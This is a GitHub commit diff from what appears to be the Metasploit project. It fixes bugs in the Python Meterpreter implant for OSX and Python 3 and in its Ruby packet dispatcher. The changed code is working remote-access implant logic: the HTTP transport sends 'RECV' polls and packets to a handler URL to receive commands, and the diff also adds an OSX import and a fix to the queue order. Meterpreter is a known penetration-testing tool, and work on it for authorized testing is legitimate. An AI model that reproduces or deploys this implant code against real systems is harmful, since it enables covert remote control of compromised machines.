Skip to content

Commit 2b36c1b

Browse files
committed
Fix pymeterp bugs from testing in osx and python3
1 parent 0bf93ac commit 2b36c1b

File tree

3 files changed

+27
-9
lines changed

3 files changed

+27
-9
lines changed

data/meterpreter/ext_server_stdapi.py

Lines changed: 6 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -60,9 +60,13 @@
6060
bytes = lambda *args: str(*args[:1])
6161
NULL_BYTE = '\x00'
6262
else:
63-
is_str = lambda obj: issubclass(obj.__class__, __builtins__.str)
63+
if isinstance(__builtins__, dict):
64+
is_str = lambda obj: issubclass(obj.__class__, __builtins__['str'])
65+
str = lambda x: __builtins__['str'](x, 'UTF-8')
66+
else:
67+
is_str = lambda obj: issubclass(obj.__class__, __builtins__.str)
68+
str = lambda x: __builtins__.str(x, 'UTF-8')
6469
is_bytes = lambda obj: issubclass(obj.__class__, bytes)
65-
str = lambda x: __builtins__.str(x, 'UTF-8')
6670
NULL_BYTE = bytes('\x00', 'UTF-8')
6771
long = int
6872

data/meterpreter/meterpreter.py

Lines changed: 20 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -18,8 +18,15 @@
1818
else:
1919
has_windll = hasattr(ctypes, 'windll')
2020

21+
# this MUST be imported for urllib to work on OSX
2122
try:
22-
urllib_imports = ['ProxyHandler', 'build_opener', 'install_opener', 'urlopen']
23+
import SystemConfiguration as osxsc
24+
has_osxsc = True
25+
except ImportError:
26+
has_osxsc = False
27+
28+
try:
29+
urllib_imports = ['ProxyHandler', 'Request', 'build_opener', 'install_opener', 'urlopen']
2330
if sys.version_info[0] < 3:
2431
urllib = __import__('urllib2', fromlist=urllib_imports)
2532
else:
@@ -34,9 +41,13 @@
3441
bytes = lambda *args: str(*args[:1])
3542
NULL_BYTE = '\x00'
3643
else:
37-
is_str = lambda obj: issubclass(obj.__class__, __builtins__.str)
44+
if isinstance(__builtins__, dict):
45+
is_str = lambda obj: issubclass(obj.__class__, __builtins__['str'])
46+
str = lambda x: __builtins__['str'](x, 'UTF-8')
47+
else:
48+
is_str = lambda obj: issubclass(obj.__class__, __builtins__.str)
49+
str = lambda x: __builtins__.str(x, 'UTF-8')
3850
is_bytes = lambda obj: issubclass(obj.__class__, bytes)
39-
str = lambda x: __builtins__.str(x, 'UTF-8')
4051
NULL_BYTE = bytes('\x00', 'UTF-8')
4152
long = int
4253

@@ -336,6 +347,7 @@ def driver_init_http(self):
336347
opener.addheaders = [('User-Agent', HTTP_USER_AGENT)]
337348
urllib.install_opener(opener)
338349
self._http_last_seen = time.time()
350+
self._http_request_headers = {'Content-Type': 'application/octet-stream'}
339351

340352
def register_extension(self, extension_name):
341353
self.last_registered_extension = extension_name
@@ -379,8 +391,9 @@ def send_packet(self, packet):
379391

380392
def get_packet_http(self):
381393
packet = None
394+
request = urllib.Request(HTTP_CONNECTION_URL, bytes('RECV', 'UTF-8'), self._http_request_headers)
382395
try:
383-
url_h = urllib.urlopen(HTTP_CONNECTION_URL, bytes('RECV', 'UTF-8'))
396+
url_h = urllib.urlopen(request)
384397
packet = url_h.read()
385398
except:
386399
if (time.time() - self._http_last_seen) > HTTP_COMMUNICATION_TIMEOUT:
@@ -394,8 +407,9 @@ def get_packet_http(self):
394407
return packet
395408

396409
def send_packet_http(self, packet):
410+
request = urllib.Request(HTTP_CONNECTION_URL, packet, self._http_request_headers)
397411
try:
398-
url_h = urllib.urlopen(HTTP_CONNECTION_URL, packet)
412+
url_h = urllib.urlopen(request)
399413
response = url_h.read()
400414
except:
401415
if (time.time() - self._http_last_seen) > HTTP_COMMUNICATION_TIMEOUT:
@@ -504,7 +518,7 @@ def _core_loadlib(self, request, response):
504518
extension_name = self.last_registered_extension
505519

506520
if extension_name:
507-
check_extension = lambda x: x.startswith(extension_name) or x.startswith('channel_open_' + extension_name)
521+
check_extension = lambda x: x.startswith(extension_name)
508522
lib_methods = list(filter(check_extension, list(self.extension_functions.keys())))
509523
for method in lib_methods:
510524
response += tlv_pack(TLV_TYPE_METHOD, method)

lib/rex/post/meterpreter/packet_dispatcher.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -96,7 +96,7 @@ def on_passive_request(cli, req)
9696

9797
# If the first 4 bytes are "RECV", return the oldest packet from the outbound queue
9898
if req.body[0,4] == "RECV"
99-
rpkt = send_queue.pop
99+
rpkt = send_queue.shift
100100
resp.body = rpkt || ''
101101
begin
102102
cli.send_response(resp)

0 commit comments

Comments
 (0)